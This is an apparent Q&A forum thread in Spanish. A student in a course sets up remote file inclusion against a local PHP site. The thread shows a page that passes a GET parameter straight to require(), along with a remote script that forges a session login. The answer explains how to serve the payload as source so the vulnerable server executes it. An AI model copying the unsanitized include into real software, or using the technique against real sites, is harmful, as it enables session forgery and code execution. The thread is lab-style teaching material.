El script incluido de forma remota no puede establecer variables de sesión

0

Estoy tratando de simular un ataque de inclusión remota de archivos en mi servidor web local como parte de un curso que estoy tomando. Me dieron la idea de poder "iniciar sesión" en un sitio web que configuré sin realmente iniciar sesión a través del sistema, sino simplemente configurando las variables de sesión adecuadas en un script remoto y luego incluyéndolo en el código de mi sitio web. Ahora tengo el script para incluirlo y ejecutarlo en mi sitio web (puedo hacer eco de cadenas, etc.) pero parece que no puedo configurar las variables de sesión con el script remoto. ¿Alguien tiene alguna idea de por qué?

Aquí está el código del sitio web hasta ahora:

index.php:

<?php session_start(); ?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Document</title>
</head>
<body>
  <?php require("php/imageupload.php"); ?>
  <p>Logged in as: <?php echo $_SESSION['username']; ?></p>
</body>
</html>

imageupload.php:

<?php
  session_start();
  $file = $_GET["file"];
  require($file);
?>

hack.php (archivo remoto):

<?php
  session_start();
  $_SESSION['username'] = "foo";
  echo "test";
?>

Cuando solicito http://localhost/index.php?file=http://127.0.0.1/hack.php , obtengo la siguiente respuesta:

test

Logged in as:
    
pregunta Simon Hyttfors 10.10.2018 - 09:40
fuente

1 respuesta

0

El archivo incluido se ejecuta realmente en su servidor, no en el servidor vulnerable cuando se incluye (que en este caso es el mismo servidor, pero sigue siendo un comportamiento incorrecto).

Lo que se incluye es en realidad el resultado de la ejecución de PHP ("prueba" en este caso).

Lo que desea es devolver un archivo que realmente contiene el código. Por lo tanto, puede transformar el archivo hack.php en hack.txt , o simplemente ajustar el código para hacer eco de la carga útil deseada:

<?php
echo '<?php
  session_start();
  $_SESSION[\'username\'] = "foo";
  echo "test";
?>';
    
respondido por el tim 10.10.2018 - 10:00
fuente

Lea otras preguntas en las etiquetas